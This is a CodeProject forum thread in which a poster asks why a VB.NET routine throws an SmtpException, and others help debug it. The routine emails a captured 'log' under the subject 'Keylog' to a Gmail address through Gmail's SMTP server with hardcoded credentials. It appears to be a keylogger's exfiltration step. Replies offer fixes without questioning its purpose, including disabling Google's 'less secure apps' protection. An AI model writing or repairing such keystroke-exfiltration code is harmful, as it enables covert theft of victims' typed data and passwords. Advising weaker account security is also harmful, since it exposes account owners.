Click here to Skip to main content
15,881,380 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
VB
Private Sub sendmail()
      Dim Mail As New MailMessage
      Mail.Subject = "Keylog"
      Mail.To.Add("XXXXXXX@gmail.com")
      Mail.From = New MailAddress("XXXXXXX@gmail.com")
      Mail.Body = log
      Dim SMTP As New SmtpClient("smtp.gmail.com")
      SMTP.EnableSsl = True
      SMTP.Credentials = New System.Net.NetworkCredential("XXXXXXX@gmail.com", "XXXXXXXX")
      SMTP.Port = 587
      SMTP.Send(Mail)
  End Sub

This results in the error:An unhandled exception of type 'System.Net.Mail.SmtpException' occurred in System.dll
Posted
Updated 2-Jun-15 1:06am
v2
Comments
ramphool 2-Jun-15 7:04am    
which hosting you try to run this code
[no name] 2-Jun-15 7:07am    
Are you run this code in local host ? or in server ?
Member 11380073 2-Jun-15 7:15am    
local host
[no name] 2-Jun-15 7:20am    
k, can u refer this click here
F-ES Sitecore 2-Jun-15 7:13am    
Don't send email via gmail's smtp servers, use the smtp server provided by your web host. There are many reasons this could be failing (see opening point), if you google you'll find the possible issues.

See my previous answer - sending email to gmail from asp.net[^].

I think you are missing client.UseDefaultCredentials = false;

If it still does not work, check the inner exception for more details about the issue.
 
Share this answer
 
should go to google account switch off app security for work this code

go to
Settings > Accounts and Import > Other Google Account settings > Allow less secure apps: ON
 
Share this answer
 
v2

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900